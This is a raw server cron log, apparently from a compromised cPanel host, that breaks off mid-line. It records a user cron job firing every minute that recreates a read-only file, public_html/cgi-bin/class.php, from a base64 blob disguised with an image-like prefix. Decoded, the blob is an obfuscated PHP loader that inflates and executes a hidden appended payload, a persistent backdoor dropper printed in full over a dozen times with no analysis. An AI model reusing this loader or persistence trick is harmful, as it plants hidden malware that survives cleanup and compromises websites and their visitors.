Nov 14 13:41:01 server CROND[27989]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:42:01 server CROND[28943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:42:01 server CROND[28944]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 13:43:01 server CROND[29832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:44:01 server CROND[30565]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:45:01 server CROND[31560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:45:01 server CROND[31562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:45:01 server CROND[31561]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:46:01 server CROND[32516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:47:01 server CROND[925]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:48:01 server CROND[1888]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:49:01 server CROND[2312]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:50:01 server CROND[2722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:50:01 server CROND[2725]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:50:01 server CROND[2724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 13:50:01 server CROND[2728]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:50:01 server CROND[2727]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 13:51:01 server CROND[3618]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:52:01 server CROND[4475]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:53:01 server CROND[5424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:54:01 server CROND[6353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 